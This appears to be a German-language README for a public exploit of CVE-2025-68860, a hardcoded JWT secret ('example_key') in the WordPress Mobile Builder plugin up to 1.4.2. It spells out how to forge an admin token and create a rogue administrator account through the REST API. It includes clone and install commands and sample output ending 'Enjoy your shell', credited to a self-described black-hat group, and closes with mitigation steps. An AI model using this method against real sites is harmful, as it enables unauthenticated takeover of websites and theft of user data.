WordPress Mobile Builder <= 1.4.2 - Fehlerhafte Authentifizierung (CVE-2025-68860)

Beschreibung

Plugin WordPress Mobile Builder Version 1.4.2 und niedriger hat eine Schwachstelle in der Authentifizierung (Broken Authentication), die es Angreifern ermöglicht, gültige JWT-Token mit dem Standard-Geheimnis "example_key" zu erstellen und sich als Admin (user_id=1) zu authentifizieren. Mit diesem Token kann der Angreifer ein neues Administrator-Konto erstellen und die Website übernehmen.

Schwachstellendetails

CVE: CVE-2025-68860

Ursache: Verwendung eines fest codierten Secret Keys "example_key" für JWT, ohne ausreichende Validierung.

Ort der Schwachstelle: Im Plugin Mobile Builder verwendet die Datei, die die JWT-Authentifizierung verwaltet (z. B. class-jwt-auth.php), die Konstante JWT_SECRET mit dem Standardwert 'example_key'. Dieses Geheimnis kann nicht über die Einstellungen geändert werden, sodass Angreifer Token für beliebige user_id erstellen können.

Auswirkung: Angreifer können Token für user_id=1 (Admin) erstellen, auf REST-API-Endpunkte zugreifen und neue Benutzer mit der Rolle Administrator erstellen.

CVSS: Hoch (Bewertung 8.8) - Netzwerkvektor, keine Benutzerinteraktion erforderlich.

Funktionsweise des Exploits

1. Das Skript erstellt einen JWT-Token mit einem Payload, der user_id: 1 (admin) dan secret "example_key".

2. Der Token wird verwendet, um auf /wp-json/wp/v2/users/ zuzugreifen, um den Admin-Zugriff zu überprüfen.

3. Bei Erfolg sendet das Skript eine POST-Anfrage an /wp-json/wp/v2/users, um einen neuen Benutzer mit dem Benutzernamen dedsec1337, dem Passwort admin, der E-Mail [email protected] und der Rolle Administrator zu erstellen.

4. Die Ausgabe zeigt die Zugangsdaten und die API-Antwort.

Anforderungen

Python 3.6+

Library: requests, PyJWT, colorama

Target WordPress dengan plugin Mobile builder versi <= 1.4.2 yang aktif.

Installation

git clone https://github.com/username/CVE-2025-68860
cd CVE-2025-68860
pip install -r requirements.txt

Beispielausgabe

╔═══════════════════════════════════════════════════════════════════╗
║ WordPress Mobile builder <= 1.4.2 Broken Authentication Exploit  ║
║ CVE-2025-68860   Priority: HIGH                                 ║
║                    Dedsec Team Exploit                           ║
╚═══════════════════════════════════════════════════════════════════╝
Exploit by : Dedsec Team Exploit
Telegram   : @DedsecTeam1337
GitHub     : https://github.com/DedsecTeam-BlackHat

[INFO] CVE-2025-68860 // WordPress Mobile builder Broken Authentication
[INFO] All old exploits/settings are ignored, running this vector only.
Site URL (example: http://target.site): http://localhost/wordpress
[INFO] Generating JWT as admin (user_id=1)...
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...
--------------------------------------------------------------
[INFO] Testing JWT at /wp-json/wp/v2/users/me
[SUCCESS] JWT valid! Confirmed admin access.
--------------------------------------------------------------
[INFO] Creating admin account using exploit...
[INFO] Exploiting, please wait...
[SUCCESS] ✅ Admin user created successfully!

==============[ New Admin Credentials ]==============
Username : dedsec1337
Password : admin
Email    : [email protected]
===================================================

Full API response:
{
  "id": 3,
  "username": "dedsec1337",
  "name": "dedsec1337",
  "email": "[email protected]",
  "roles": ["administrator"]
}
--------------------------------------------------------------
[SUCCESS] Exploit finished. Enjoy your shell.
...

Gefahren

1. Angreifer können neue Administrator-Konten erstellen, auf alle WordPress-Funktionen zugreifen, schädliche Plugins installieren, Inhalte ändern, Benutzerdaten stehlen oder die Website für weitere Angriffe nutzen.

2. Diese Schwachstelle kann remote ohne vorherige Authentifizierung ausgenutzt werden.

3. Auswirkung: Vollständige Kompromittierung der WordPress-Seite.

Maßnahmen zur Schadensbegrenzung

1. Aktualisieren Sie das Mobile Builder Plugin sofort auf die neueste Version (>=1.4.3).

2. Falls kein Update verfügbar ist, deaktivieren Sie das Plugin vorübergehend.

3. Überprüfen Sie, ob verdächtige Benutzer auf Ihrer Website vorhanden sind.

4. Verwenden Sie eine Web Application Firewall (WAF), um verdächtige Anfragen an REST-API-Endpunkte zu blockieren.

5. Ändern Sie vorübergehend den Secret Key im Plugin-Code (falls möglich) und schränken Sie den Zugriff auf die REST-API ein.